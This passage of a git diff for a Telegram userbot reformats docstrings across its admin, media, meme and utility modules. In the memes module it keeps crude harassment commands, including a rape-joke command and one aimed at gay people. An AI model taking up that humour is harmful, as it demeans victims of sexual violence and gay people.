stderr=asyncio.subprocess.PIPE @@ -322,7 +322,7 @@ async def crop_vid(input_vid: str, final_path: str): async def take_screen_shot( video_file: str, duration: int, path: str = "" ) -> Optional[str]: - """ take a screenshot """ + """take a screenshot""" logger.info( "[[[Extracting a frame from %s ||| Video duration => %s]]]", video_file, diff --git a/virtualuserbot/modules/admin.py b/virtualuserbot/modules/admin.py index 27a0859e..73cb40fd 100644 --- a/virtualuserbot/modules/admin.py +++ b/virtualuserbot/modules/admin.py @@ -84,7 +84,7 @@ @borg.on(admin_cmd(pattern=r"setgpic")) @errors_handler async def set_group_photo(gpic): - """ For .setgpic command, changes the picture of a group """ + """For .setgpic command, changes the picture of a group""" if not gpic.is_group: await gpic.edit("`I don't think this is a group.`") return @@ -123,7 +123,7 @@ async def set_group_photo(gpic): @borg.on(admin_cmd(pattern=r"promote(?: |$)(.*)")) @errors_handler async def promote(promt): - """ For .promote command, promotes the replied/tagged person """ + """For .promote command, promotes the replied/tagged person""" # Get targeted chat chat = await promt.get_chat() # Grab admin status or creator in a chat @@ -179,7 +179,7 @@ async def promote(promt): @borg.on(admin_cmd(pattern=r"demote(?: |$)(.*)")) @errors_handler async def demote(dmod): - """ For .demote command, demotes the replied/tagged person """ + """For .demote command, demotes the replied/tagged person""" # Admin right check chat = await dmod.get_chat() admin = chat.admin_rights @@ -234,7 +234,7 @@ async def demote(dmod): @borg.on(admin_cmd(pattern=r"ban(?: |$)(.*)")) @errors_handler async def ban(bon): - """ For .ban command, bans the replied/tagged person """ + """For .ban command, bans the replied/tagged person""" # Here laying the sanity check chat = await bon.get_chat() admin = chat.admin_rights @@ -293,7 +293,7 @@ async def ban(bon): @borg.on(admin_cmd(pattern=r"unban(?: |$)(.*)")) @errors_handler async def nothanos(unbon): - """ For .unban command, unbans the replied/tagged person """ + """For .unban command, unbans the replied/tagged person""" # Here laying the sanity check chat = await unbon.get_chat() admin = chat.admin_rights @@ -396,7 +396,7 @@ async def spider(spdr): @borg.on(admin_cmd(pattern=r"unmute(?: |$)(.*)")) @errors_handler async def unmoot(unmot): - """ For .unmute command, unmute the replied/tagged person """ + """For .unmute command, unmute the replied/tagged person""" # Admin or creator check chat = await unmot.get_chat() admin = chat.admin_rights @@ -447,7 +447,7 @@ async def unmoot(unmot): @borg.on(admin_cmd(pattern=r"adminlist")) @errors_handler async def get_admin(show): - """ For .admins command, list all of the admins of the chat. """ + """For .admins command, list all of the admins of the chat.""" info = await show.client.get_entity(show.chat_id) title = info.title if info.title else "this chat" mentions = f"Admins in {title}: \n" @@ -470,7 +470,7 @@ async def get_admin(show): @borg.on(admin_cmd(pattern=r"pin(?: |$)(.*)")) @errors_handler async def pin(msg): - """ For .pin command, pins the replied/tagged message on the top the chat. """ + """For .pin command, pins the replied/tagged message on the top the chat.""" # Admin or creator check chat = await msg.get_chat() admin = chat.admin_rights @@ -519,7 +519,7 @@ async def pin(msg): @borg.on(admin_cmd(pattern=r"kick(?: |$)(.*)")) @errors_handler async def kick(usr): - """ For .kick command, kicks the replied/tagged person from the group. """ + """For .kick command, kicks the replied/tagged person from the group.""" # Admin or creator check chat = await usr.get_chat() admin = chat.admin_rights @@ -566,7 +566,7 @@ async def kick(usr): @borg.on(admin_cmd(pattern=r"users ?(.*)")) @errors_handler async def get_users(show): - """ For .users command, list all of the users in a chat. """ + """For .users command, list all of the users in a chat.""" info = await show.client.get_entity(show.chat_id) title = info.title if info.title else "this chat" mentions = "Users in {}: \n".format(title) @@ -661,7 +661,7 @@ async def rm_deletedacc(show): async def get_user_from_event(event): - """ Get the user from argument or replied message. """ + """Get the user from argument or replied message.""" args = event.pattern_match.group(1).split(" ", 1) extra = None if event.reply_to_msg_id: diff --git a/virtualuserbot/modules/android.py b/virtualuserbot/modules/android.py index b31c8709..8915b935 100644 --- a/virtualuserbot/modules/android.py +++ b/virtualuserbot/modules/android.py @@ -23,7 +23,7 @@ @friday.on(friday_on_cmd(outgoing=True, pattern="magisk$")) @friday.on(sudo_cmd(pattern="magisk$", allow_sudo=True)) async def magisk(request): - """ magisk latest releases """ + """magisk latest releases""" magisk_dict = { "Stable": "https://raw.githubusercontent.com/topjohnwu/magisk_files/master/stable.json", "Beta": "https://raw.githubusercontent.com/topjohnwu/magisk_files/master/beta.json", @@ -44,7 +44,7 @@ async def magisk(request): @friday.on(friday_on_cmd(outgoing=True, pattern=r"device(?: |$)(\S*)")) @friday.on(sudo_cmd(pattern="device(?: |$)(\S*)", allow_sudo=True)) async def device_info(request): - """ get android device basic info from its codename """ + """get android device basic info from its codename""" textx = await request.get_reply_message() codename = request.pattern_match.group(1) if codename: @@ -79,7 +79,7 @@ async def device_info(request): ) @friday.on(sudo_cmd(pattern="codename(?: |)([\S]*)(?: |)([\s\S]*)", allow_sudo=True)) async def codename_info(request): - """ search for android codename """ + """search for android codename""" textx = await request.get_reply_message() brand = request.pattern_match.group(1).lower() device = request.pattern_match.group(2).lower() @@ -124,7 +124,7 @@ async def codename_info(request): @friday.on(friday_on_cmd(outgoing=True, pattern=r"specs(?: |)([\S]*)(?: |)([\s\S]*)")) @friday.on(sudo_cmd(pattern="specs(?: |)([\S]*)(?: |)([\s\S]*)", allow_sudo=True)) async def devices_specifications(request): - """ Mobile devices specifications """ + """Mobile devices specifications""" textx = await request.get_reply_message() brand = request.pattern_match.group(1).lower() device = request.pattern_match.group(2).lower() @@ -187,7 +187,7 @@ async def devices_specifications(request): @friday.on(friday_on_cmd(outgoing=True, pattern=r"twrp(?: |$)(\S*)")) @friday.on(sudo_cmd(pattern="twrp(?: |$)(\S*)", allow_sudo=True)) async def twrp(request): - """ get android device twrp """ + """get android device twrp""" textx = await request.get_reply_message() device = request.pattern_match.group(1) if device: diff --git a/virtualuserbot/modules/assistant/adminbot.py b/virtualuserbot/modules/assistant/adminbot.py index ecbdb414..d6abf5e8 100644 --- a/virtualuserbot/modules/assistant/adminbot.py +++ b/virtualuserbot/modules/assistant/adminbot.py @@ -304,7 +304,7 @@ async def mute(event): async def get_user_from_event(event): - """ Get the user from argument or replied message. """ + """Get the user from argument or replied message.""" args = event.pattern_match.group(1).split(" ", 1) extra = None if event.reply_to_msg_id: diff --git a/virtualuserbot/modules/carbon.py b/virtualuserbot/modules/carbon.py index 0dbafe3b..c32272b4 100644 --- a/virtualuserbot/modules/carbon.py +++ b/virtualuserbot/modules/carbon.py @@ -25,7 +25,7 @@ async def carbon_api(e): if not e.text[0].isalpha() and e.text[0] not in ("/", "#", "@", "!"): - """ A Wrapper for carbon.now.sh """ + """A Wrapper for carbon.now.sh""" await e.edit("`Processing..`") CARBON = "https://carbon.now.sh/?l={lang}&code={code}" global CARBONLANG diff --git a/virtualuserbot/modules/carbonRGB.py b/virtualuserbot/modules/carbonRGB.py index 4da8baa5..b4620ac8 100644 --- a/virtualuserbot/modules/carbonRGB.py +++ b/virtualuserbot/modules/carbonRGB.py @@ -58,7 +58,7 @@ async def carbon_api(e): The = THEME[CUNTHE] if not e.text[0].isalpha() and e.text[0] not in ("/", "#", "@", "!"): - """ A Wrapper for carbon.now.sh """ + """A Wrapper for carbon.now.sh""" await e.edit("⬜⬜⬜⬜⬜") CARBON = "https://carbon.now.sh/?bg=rgba({R}%2C{G}%2C.{B}%2C1)&t={T}&wt=none&l=auto&ds=false&dsyoff=20px&dsblur=68px&wc=true&wa=true&pv=56px&ph=56px&ln=false&fl=1&fm=Fira%20Code&fs=14px&lh=152%25&si=false&es=2x&wm=false&code={code}" CARBONLANG = "en" diff --git a/virtualuserbot/modules/cow.py b/virtualuserbot/modules/cow.py index 01315ce6..e7ebf171 100644 --- a/virtualuserbot/modules/cow.py +++ b/virtualuserbot/modules/cow.py @@ -11,7 +11,7 @@ @friday.on(events.NewMessage(pattern=r"^.(\w+)say (.*)", outgoing=True)) async def univsaye(cowmsg): - """ For .cowsay module, uniborg wrapper for cow which says things. """ + """For .cowsay module, uniborg wrapper for cow which says things.""" if not cowmsg.text[0].isalpha() and cowmsg.text[0] not in ("/", "#", "@", "!"): arg = cowmsg.pattern_match.group(1).lower() text = cowmsg.pattern_match.group(2) diff --git a/virtualuserbot/modules/create.py b/virtualuserbot/modules/create.py index 12150f80..a39746a8 100644 --- a/virtualuserbot/modules/create.py +++ b/virtualuserbot/modules/create.py @@ -11,7 +11,7 @@ @register(outgoing=True, pattern="^.create (b|g|c)(?: |$)(.*)") async def telegraphs(grop): - """ For .create command, Creating New Group & Channel """ + """For .create command, Creating New Group & Channel""" if not grop.text[0].isalpha() and grop.text[0] not in ("/", "#", "@", "!"): diff --git a/virtualuserbot/modules/delfp.py b/virtualuserbot/modules/delfp.py index 4027fa66..ce355fb5 100644 --- a/virtualuserbot/modules/delfp.py +++ b/virtualuserbot/modules/delfp.py @@ -8,7 +8,7 @@ @friday.on(friday_on_cmd(pattern="delpfp ?(.*)")) @friday.on(sudo_cmd(pattern="delpfp ?(.*)", allow_sudo=True)) async def remove_profilepic(delpfp): - """ For .delpfp command, delete your current profile picture in Telegram. """ + """For .delpfp command, delete your current profile picture in Telegram.""" group = delpfp.text[8:] if group == "all": lim = 0 diff --git a/virtualuserbot/modules/direct_links.py b/virtualuserbot/modules/direct_links.py index ff57e4ba..4d25a25e 100644 --- a/virtualuserbot/modules/direct_links.py +++ b/virtualuserbot/modules/direct_links.py @@ -44,7 +44,7 @@ def subprocess_run(cmd): @friday.on(friday_on_cmd(pattern=r"direct(?: |$)([\s\S]*)")) async def direct_link_generator(request): - """ direct links generator """ + """direct links generator""" await request.edit("`Processing...`") textx = await request.get_reply_message() message = request.pattern_match.group(1) @@ -83,7 +83,7 @@ async def direct_link_generator(request): def gdrive(url: str) -> str: - """ GDrive direct links generator """ + """GDrive direct links generator""" drive = "https://drive.google.com" try: link = re.findall(r"\bhttps?://drive\.google\.com\S+", url)[0] @@ -202,7 +202,7 @@ def cm_ru(url: str) -> str: def mediafire(url: str) -> str: - """ MediaFire direct links generator """ + """MediaFire direct links generator""" try: link = re.findall(r"\bhttps?://.*mediafire\.com\S+", url)[0] except IndexError: @@ -219,7 +219,7 @@ def mediafire(url: str) -> str: def sourceforge(url: str) -> str: - """ SourceForge direct links generator """ + """SourceForge direct links generator""" try: link = re.findall(r"\bhttps?://.*sourceforge\.net\S+", url)[0] except IndexError: @@ -244,7 +244,7 @@ def sourceforge(url: str) -> str: def osdn(url: str) -> str: - """ OSDN direct links generator """ + """OSDN direct links generator""" osdn_link = "https://osdn.net" try: link = re.findall(r"\bhttps?://.*osdn\.net\S+", url)[0] @@ -265,7 +265,7 @@ def osdn(url: str) -> str: def androidfilehost(url: str) -> str: - """ AFH direct links generator """ + """AFH direct links generator""" try: link = re.findall(r"\bhttps?://.*androidfilehost.*fid.*\S+", url)[0] except IndexError: diff --git a/virtualuserbot/modules/google.py b/virtualuserbot/modules/google.py index 88f472b3..d7cb9790 100644 --- a/virtualuserbot/modules/google.py +++ b/virtualuserbot/modules/google.py @@ -8,7 +8,7 @@ @register(outgoing=True, pattern=r"^\.gs (.*)") async def gsearch(q_event): - """ For .google command, do a Google search. """ + """For .google command, do a Google search.""" match = q_event.pattern_match.group(1) page = findall(r"page=\d+", match) try: diff --git a/virtualuserbot/modules/gtools.py b/virtualuserbot/modules/gtools.py index 88110960..2bde6e11 100644 --- a/virtualuserbot/modules/gtools.py +++ b/virtualuserbot/modules/gtools.py @@ -138,7 +138,7 @@ async def mi(event): async def get_user_from_event(event): - """ Get the user from argument or replied message. """ + """Get the user from argument or replied message.""" args = event.pattern_match.group(1).split(" ", 1) extra = None if event.reply_to_msg_id: diff --git a/virtualuserbot/modules/hash.py b/virtualuserbot/modules/hash.py index e0a44072..857128bb 100644 --- a/virtualuserbot/modules/hash.py +++ b/virtualuserbot/modules/hash.py @@ -17,7 +17,7 @@ @register(outgoing=True, pattern="^.hash (.*)") @errors_handler async def gethash(hash_q): - """ For .hash command, find the md5, sha1, sha256, sha512 of the string. """ + """For .hash command, find the md5, sha1, sha256, sha512 of the string.""" hashtxt_ = hash_q.pattern_match.group(1) hashtxt = open("hashdis.txt", "w+") hashtxt.write(hashtxt_) @@ -62,7 +62,7 @@ async def gethash(hash_q): @register(outgoing=True, pattern="^.hbase (en|de) (.*)") @errors_handler async def endecrypt(query): - """ For .base64 command, find the base64 encoding of the given string. """ + """For .base64 command, find the base64 encoding of the given string.""" if query.pattern_match.group(1) == "en": lething = str(pybase64.b64encode(bytes(query.pattern_match.group(2), "utf-8")))[ 2: diff --git a/virtualuserbot/modules/lastfm.py b/virtualuserbot/modules/lastfm.py index 88eb14d0..5bd88a60 100644 --- a/virtualuserbot/modules/lastfm.py +++ b/virtualuserbot/modules/lastfm.py @@ -51,7 +51,7 @@ @register(outgoing=True, pattern="^.lastfm$") async def last_fm(lastFM): - """ For .lastfm command, fetch scrobble data from last.fm. """ + """For .lastfm command, fetch scrobble data from last.fm.""" if not lastFM.text[0].isalpha() and lastFM.text[0] not in ("/", "#", "@", "!"): await lastFM.edit("Processing...") preview = None diff --git a/virtualuserbot/modules/listmyusernames.py b/virtualuserbot/modules/listmyusernames.py index e6eaf56e..fdba33c8 100644 --- a/virtualuserbot/modules/listmyusernames.py +++ b/virtualuserbot/modules/listmyusernames.py @@ -9,7 +9,7 @@ @friday.on(friday_on_cmd("listmyusernames")) async def mine(event): - """ For .reserved command, get a list of your reserved usernames. """ + """For .reserved command, get a list of your reserved usernames.""" result = await bot(GetAdminedPublicChannelsRequest()) output_str = "" for channel_obj in result.chats: diff --git a/virtualuserbot/modules/mediadata.py b/virtualuserbot/modules/mediadata.py index f5794575..f97ad84f 100644 --- a/virtualuserbot/modules/mediadata.py +++ b/virtualuserbot/modules/mediadata.py @@ -17,7 +17,7 @@ async def runcmd(cmd: str) -> Tuple[str, str, int, int]: - """ run command in terminal """ + """run command in terminal""" args = shlex.split(cmd) process = await asyncio.create_subprocess_exec( *args, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE diff --git a/virtualuserbot/modules/memes.py b/virtualuserbot/modules/memes.py index c40d2513..d3edf04c 100644 --- a/virtualuserbot/modules/memes.py +++ b/virtualuserbot/modules/memes.py @@ -655,7 +655,7 @@ @register(outgoing=True, pattern=r"^.(\w+)say (.*)") async def univsaye(cowmsg): - """ For .cowsay module, virtualuserbot wrapper for cow which says things. """ + """For .cowsay module, virtualuserbot wrapper for cow which says things.""" if not cowmsg.text[0].isalpha() and cowmsg.text[0] not in ("/", "#", "@", "!"): arg = cowmsg.pattern_match.group(1).lower() text = cowmsg.pattern_match.group(2) @@ -673,7 +673,7 @@ async def univsaye(cowmsg): @register(outgoing=True, pattern="^:/$") async def kek(keks): if not keks.text[0].isalpha() and keks.text[0] not in ("/", "#", "@", "!"): - """ Check yourself ;)""" + """Check yourself ;)""" uio = ["/", "\\"] for i in range(1, 15): time.sleep(0.3) @@ -714,7 +714,7 @@ async def _(event): @register(pattern="^.slap(?: |$)(.*)", outgoing=True) async def who(event): if not event.text[0].isalpha() and event.text[0] not in ("/", "#", "@", "!"): - """ slaps a user, or get slapped if not a reply. """ + """slaps a user, or get slapped if not a reply.""" if event.fwd_from: return @@ -735,7 +735,7 @@ async def who(event): async def get_user(event): - """ Get the user from argument or replied message. """ + """Get the user from argument or replied message.""" if event.reply_to_msg_id: previous_message = await event.get_reply_message() replied_user = await event.client( @@ -770,7 +770,7 @@ async def get_user(event): async def slap(replied_user, event): - """ Construct a funny slap sentence !! """ + """Construct a funny slap sentence !!""" user_id = replied_user.user.id first_name = replied_user.user.first_name username = replied_user.user.username @@ -793,7 +793,7 @@ async def slap(replied_user, event): @register(outgoing=True, pattern="^-_-$") async def lol(lel): if not lel.text[0].isalpha() and lel.text[0] not in ("/", "#", "@", "!"): - """ Ok... """ + """Ok...""" okay = "-_-" for _ in range(10): okay = okay[:-1] + "_-" @@ -829,21 +829,21 @@ async def fun(e): @register(outgoing=True, pattern="^.cry$") async def cry(e): - """ y u du dis, i cry everytime !! """ + """y u du dis, i cry everytime !!""" if not e.text[0].isalpha() and e.text[0] not in ("/", "#", "@", "!"): await e.edit(random.choice(CRI)) @register(outgoing=True, pattern="^.insult$") async def insult(e): - """ I make you cry !! """ + """I make you cry !!""" if not e.text[0].isalpha() and e.text[0] not in ("/", "#", "@", "!"): await e.edit(random.choice(INSULT_STRINGS)) @register(outgoing=True, pattern="^.cp(?: |$)(.*)") async def copypasta(cp_e): - """ Copypasta the famous meme """ + """Copypasta the famous meme""" if not cp_e.text[0].isalpha() and cp_e.text[0] not in ("/", "#", "@", "!"): textx = await cp_e.get_reply_message() message = cp_e.pattern_match.group(1) @@ -879,7 +879,7 @@ async def copypasta(cp_e): @register(outgoing=True, pattern="^.vapor(?: |$)(.*)") async def vapor(vpr): - """ Vaporize everything! """ + """Vaporize everything!""" if not vpr.text[0].isalpha() and vpr.text[0] not in ("/", "#", "@", "!"): reply_text = list() textx = await vpr.get_reply_message() @@ -913,7 +913,7 @@ async def source(e): @register(outgoing=True, pattern="^.str(?: |$)(.*)") async def stretch(stret): - """ Stretch it.""" + """Stretch it.""" if not stret.text[0].isalpha() and stret.text[0] not in ("/", "#", "@", "!"): textx = await stret.get_reply_message() message = stret.text @@ -935,7 +935,7 @@ async def stretch(stret): @register(outgoing=True, pattern="^.zal(?: |$)(.*)") async def zal(zgfy): - """ Invoke the feeling of chaos. """ + """Invoke the feeling of chaos.""" if not zgfy.text[0].isalpha() and zgfy.text[0] not in ("/", "#", "@", "!"): reply_text = list() textx = await zgfy.get_reply_message() @@ -972,14 +972,14 @@ async def zal(zgfy): @register(outgoing=True, pattern="^.hi$") async def hoi(hello): - """ Greet everyone! """ + """Greet everyone!""" if not hello.text[0].isalpha() and hello.text[0] not in ("/", "#", "@", "!"): await hello.edit(random.choice(HELLOSTR)) @register(outgoing=True, pattern="^.kill$") async def killing(killed): - """ Dont Kill Too much -_-""" + """Dont Kill Too much -_-""" if not killed.text[0].isalpha() and killed.text[0] not in ("/", "#", "@", "!"): if await killed.get_reply_message(): await killed.edit( @@ -989,7 +989,7 @@ async def killing(killed): @register(outgoing=True, pattern="^.bt$") async def bluetext(bte): - """ Believe me, you will find this useful. """ + """Believe me, you will find this useful.""" if not bte.text[0].isalpha() and bte.text[0] not in ("/", "#", "@", "!"): if await bte.get_reply_message(): await bte.edit( @@ -1000,7 +1000,7 @@ async def bluetext(bte): @register(outgoing=True, pattern="^.rape$") async def raping(raped): - """ Dont Rape Too much -_-""" + """Dont Rape Too much -_-""" if not raped.text[0].isalpha() and raped.text[0] not in ("/", "#", "@", "!"): index = random.randint(0, len(RAPE_STRINGS) - 1) reply_text = RAPE_STRINGS[index] @@ -1009,7 +1009,7 @@ async def raping(raped): @register(outgoing=True, pattern="^.pro$") async def proo(pros): - """ String for Pros only -_-""" + """String for Pros only -_-""" if not pros.text[0].isalpha() and pros.text[0] not in ("/", "#", "@", "!"): index = random.randint(0, len(PRO_STRINGS) - 1) reply_text = PRO_STRINGS[index] @@ -1018,7 +1018,7 @@ async def proo(pros): @register(outgoing=True, pattern="^.fuk$") async def chutiya(fuks): - """ String for fhu only -_-""" + """String for fhu only -_-""" if not fuks.text[0].isalpha() and fuks.text[0] not in ("/", "#", "@", "!"): index = random.randint(0, len(CHU_STRINGS) - 1) reply_text = FUK_STRINGS[index] @@ -1027,7 +1027,7 @@ async def chutiya(fuks): @register(outgoing=True, pattern="^.chu$") async def chutiya(chus): - """ String for Chu only -_-""" + """String for Chu only -_-""" if not chus.text[0].isalpha() and chus.text[0] not in ("/", "#", "@", "!"): index = random.randint(0, len(CHU_STRINGS) - 1) reply_text = CHU_STRINGS[index] @@ -1036,7 +1036,7 @@ async def chutiya(chus): @register(outgoing=True, pattern="^.thanos$") async def thanos(thanos): - """ String for thanos only -_-""" + """String for thanos only -_-""" if not thanos.text[0].isalpha() and thanos.text[0] not in ("/", "#", "@", "!"): index = random.randint(0, len(THANOS_STRINGS) - 1) reply_text = THANOS_STRINGS[index] @@ -1045,7 +1045,7 @@ async def thanos(thanos): @register(outgoing=True, pattern="^.abusehard$") async def fuckedd(abusehard): - """ Dont Use this Too much bsdk -_-""" + """Dont Use this Too much bsdk -_-""" if not abusehard.text[0].isalpha() and abusehard.text[0] not in ( "/", "#", @@ -1059,7 +1059,7 @@ async def fuckedd(abusehard): @register(outgoing=True, pattern="^.gey$") async def geys(geyed): - """ Use only for gey ppl -_-""" + """Use only for gey ppl -_-""" if not geyed.text[0].isalpha() and geyed.text[0] not in ("/", "#", "@", "!"): index = random.randint(0, len(GEY_STRINGS) - 1) reply_text = GEY_STRINGS[index] @@ -1068,7 +1068,7 @@ async def geys(geyed): @register(outgoing=True, pattern="^.abuse$") async def abusing(abused): - """ Dont Abuse Too much bsdk -_-""" + """Dont Abuse Too much bsdk -_-""" if not abused.text[0].isalpha() and abused.text[0] not in ("/", "#", "@", "!"): index = random.randint(0, len(ABUSE_STRINGS) - 1) reply_text = ABUSE_STRINGS[index] @@ -1077,7 +1077,7 @@ async def abusing(abused): @register(outgoing=True, pattern="^.owo(?: |$)(.*)") async def faces(owo): - """ UwU """ + """UwU""" if not owo.text[0].isalpha() and owo.text[0] not in ("/", "#", "@", "!"): textx = await owo.get_reply_message() message = owo.pattern_match.group(1) @@ -1101,35 +1101,35 @@ async def faces(owo): @register(outgoing=True, pattern="^.react$") async def react_meme(react): - """ Make your virtualuserbot react to everything. """ + """Make your virtualuserbot react to everything.""" if not react.text[0].isalpha() and react.text[0] not in ("/", "#", "@", "!"): await react.edit(random.choice(FACEREACTS)) @register(outgoing=True, pattern="^.shg$") async def shrugger(shg): - r""" ¯\_(ツ)_/¯ """ + r"""¯\_(ツ)_/¯""" if not shg.text[0].isalpha() and shg.text[0] not in ("/", "#", "@", "!"): await shg.edit(random.choice(SHGS)) @register(outgoing=True, pattern="^.runs$") async def runner_lol(run): - """ Run, run, RUNNN! """ + """Run, run, RUNNN!""" if not run.text[0].isalpha() and run.text[0] not in ("/", "#", "@", "!"): await run.edit(random.choice(RUNSREACTS)) @register(outgoing=True, pattern="^.noob$") async def metoo(hahayes): - """ Haha yes """ + """Haha yes""" if not hahayes.text[0].isalpha() and hahayes.text[0] not in ("/", "#", "@", "!"): await hahayes.edit(random.choice(NOOBSTR)) @register(outgoing=True, pattern="^.rendi$") async def metoo(hahayes): - """ Haha yes """ + """Haha yes""" if not hahayes.text[0].isalpha() and hahayes.text[0] not in ("/", "#", "@", "!"): await hahayes.edit(random.choice(RENDISTR)) @@ -1175,7 +1175,7 @@ async def _(event): @register(outgoing=True, pattern="^.mock(?: |$)(.*)") async def spongemocktext(mock): - """ Do it and find the real fun. """ + """Do it and find the real fun.""" if not mock.text[0].isalpha() and mock.text[0] not in ("/", "#", "@", "!"): reply_text = list() textx = await mock.get_reply_message() @@ -1200,7 +1200,7 @@ async def spongemocktext(mock): @register(outgoing=True, pattern="^.clap(?: |$)(.*)") async def claptext(memereview): - """ Praise people! """ + """Praise people!""" if not memereview.text[0].isalpha() and memereview.text[0] not in ( "/", "#", @@ -1224,7 +1224,7 @@ async def claptext(memereview): @register(outgoing=True, pattern="^.bt$") async def bluetext(bt_e): - """ Believe me, you will find this useful. """ + """Believe me, you will find this useful.""" if not bt_e.text[0].isalpha() and bt_e.text[0] not in ("/", "#", "@", "!"): if await bt_e.get_reply_message(): await bt_e.edit( @@ -1295,7 +1295,7 @@ async def let_me_google_that_for_you(lmgtfy_q): @register(outgoing=True, pattern=r".yt_dl (\S*) ?(\S*)") async def download_video(v_url): - """ For .yt_dl command, download videos from YouTube. """ + """For .yt_dl command, download videos from YouTube.""" if not v_url.text[0].isalpha() and v_url.text[0] not in ("/", "#", "@", "!"): url = v_url.pattern_match.group(1) quality = v_url.pattern_match.group(2) @@ -1468,7 +1468,7 @@ async def hi(event): @register(pattern=".type(?: |$)(.*)") async def typewriter(typew): - """ Just a small command to make your keyboard become a typewriter! """ + """Just a small command to make your keyboard become a typewriter!""" if not typew.text[0].isalpha() and typew.text[0] not in ("/", "#", "@", "!"): textx = await typew.get_reply_message() message = typew.pattern_match.group(1) diff --git a/virtualuserbot/modules/misc.py b/virtualuserbot/modules/misc.py index 0461090e..3385b223 100644 --- a/virtualuserbot/modules/misc.py +++ b/virtualuserbot/modules/misc.py @@ -16,7 +16,7 @@ @register(outgoing=True, pattern="^.random") async def randomise(items): - """ For .random command, get a random item from the list of items. """ + """For .random command, get a random item from the list of items.""" if not items.text[0].isalpha() and items.text[0] not in ("/", "#", "@", "!"): itemo = (items.text[8:]).split() index = randint(1, len(itemo) - 1) @@ -31,7 +31,7 @@ async def randomise(items): @register(outgoing=True, pattern="^.sleep( [0-9]+)?$") async def sleepybot(time): - """ For .sleep command, let the virtualuserbot snooze for a few second. """ + """For .sleep command, let the virtualuserbot snooze for a few second.""" message = time.text if not message[0].isalpha() and message[0] not in ("/", "#", "@", "!"): if " " not in time.pattern_match.group(1): diff --git a/virtualuserbot/modules/owm.py b/virtualuserbot/modules/owm.py index 58742511..1e5d896e 100644 --- a/virtualuserbot/modules/owm.py +++ b/virtualuserbot/modules/owm.py @@ -23,7 +23,7 @@ # ==================== async def get_tz(con): - """ Get time zone of the given country. """ + """Get time zone of the given country.""" """ Credits: @aragon12 and @zakaryan2004. """ for c_code in c_n: if con == c_n[c_code]: @@ -37,7 +37,7 @@ async def get_tz(con): @friday.on(friday_on_cmd(pattern="weather(?: |$)(.*)")) async def get_weather(weather): - """ For .weather command, gets the current weather of a city. """ + """For .weather command, gets the current weather of a city.""" if not OWM_API: await weather.edit("`Get an API key from` https://openweathermap.org/ `first.`") @@ -139,7 +139,7 @@ def sun(unix): @friday.on(friday_on_cmd(pattern="setcity(?: |$)(.*)")) async def set_default_city(city): - """ For .ctime command, change the default virtualuserbot country for date and time commands. """ + """For .ctime command, change the default virtualuserbot country for date and time commands.""" if not OWM_API: await city.edit("`Get an API key from` https://openweathermap.org/ `first.`") diff --git a/virtualuserbot/modules/purge.py b/virtualuserbot/modules/purge.py index 56527d89..7f2478c4 100644 --- a/virtualuserbot/modules/purge.py +++ b/virtualuserbot/modules/purge.py @@ -16,7 +16,7 @@ @register(outgoing=True, pattern="^.purge$") @errors_handler async def fastpurger(purg): - """ For .purge command, purge all messages starting from the reply. """ + """For .purge command, purge all messages starting from the reply.""" chat = await purg.get_input_chat() msgs = [] count = 0 @@ -47,7 +47,7 @@ async def fastpurger(purg): @register(outgoing=True, pattern="^.purgeme") @errors_handler async def purgeme(delme): - """ For .purgeme, delete x count of your latest message.""" + """For .purgeme, delete x count of your latest message.""" message = delme.text count = int(message[9:]) i = 1 @@ -74,7 +74,7 @@ async def purgeme(delme): @register(outgoing=True, pattern="^.del$") @errors_handler async def delete_it(delme): - """ For .del command, delete the replied message. """ + """For .del command, delete the replied message.""" msg_src = await delme.get_reply_message() if delme.reply_to_msg_id: try: @@ -94,7 +94,7 @@ async def delete_it(delme): @register(outgoing=True, pattern="^.edit") @errors_handler async def editer(edit): - """ For .editme command, edit your last message. """ + """For .editme command, edit your last message.""" message = edit.text chat = await edit.get_input_chat() self_id = await edit.client.get_peer_id("me") @@ -115,7 +115,7 @@ async def editer(edit): @register(outgoing=True, pattern="^.sd") @errors_handler async def selfdestruct(destroy): - """ For .sd command, make seflf-destructable messages. """ + """For .sd command, make seflf-destructable messages.""" message = destroy.text counter = int(message[4:6]) text = str(destroy.text[6:]) diff --git a/virtualuserbot/modules/reverse.py b/virtualuserbot/modules/reverse.py index 6adeb9c8..64614dfd 100644 --- a/virtualuserbot/modules/reverse.py +++ b/virtualuserbot/modules/reverse.py @@ -24,7 +24,7 @@ @friday.on(friday_on_cmd(outgoing=True, pattern=r"reverse(?: |$)(\d*)")) @errors_handler async def okgoogle(img): - """ For .reverse command, Google search images and stickers. """ + """For .reverse command, Google search images and stickers.""" if os.path.isfile("okgoogle.png"): os.remove("okgoogle.png") diff --git a/virtualuserbot/modules/reverseimg.py b/virtualuserbot/modules/reverseimg.py index f3d96e9a..d4a146f2 100644 --- a/virtualuserbot/modules/reverseimg.py +++ b/virtualuserbot/modules/reverseimg.py @@ -27,7 +27,7 @@ @friday.on(friday_on_cmd(pattern=r"reverse(?: |$)(\d*)")) @errors_handler async def okgoogle(img): - """ For .reverse command, Google search images and stickers. """ + """For .reverse command, Google search images and stickers.""" if os.path.isfile("okgoogle.png"): os.remove("okgoogle.png") diff --git a/virtualuserbot/modules/selfdestruct.py b/virtualuserbot/modules/selfdestruct.py index a869ac28..4d082729 100644 --- a/virtualuserbot/modules/selfdestruct.py +++ b/virtualuserbot/modules/selfdestruct.py @@ -13,7 +13,7 @@ @friday.on(friday_on_cmd("sd", outgoing=True)) async def selfdestruct(destroy): - """ For .sd command, make seflf-destructable messages. """ + """For .sd command, make seflf-destructable messages.""" if not destroy.text[0].isalpha() and destroy.text[0] not in ("/", "#", "@", "!"): message = destroy.text counter = int(message[4:6]) diff --git a/virtualuserbot/modules/sql_helper/botusers_sql.py b/virtualuserbot/modules/sql_helper/botusers_sql.py index 3d47cf7c..c9d30228 100644 --- a/virtualuserbot/modules/sql_helper/botusers_sql.py +++ b/virtualuserbot/modules/sql_helper/botusers_sql.py @@ -22,7 +22,7 @@ class Users(BASE): - """ Table to store the received messages """ + """Table to store the received messages""" __tablename__ = "users" message_id = Column(Integer, primary_key=True) @@ -42,14 +42,14 @@ def __repr__(self): def add_me_in_db(message_id: int, chat_id: int, um_id: int): - """ add the message to the table """ + """add the message to the table""" __user = Users(message_id, str(chat_id), um_id) SESSION.add(__user) SESSION.commit() def his_userid(message_id: int): - """ get the user_id from the message_id """ + """get the user_id from the message_id""" try: s__ = SESSION.query(Users).get(str(message_id)) return int(s__.chat_id), s__.um_id diff --git a/virtualuserbot/modules/upload_dl.py 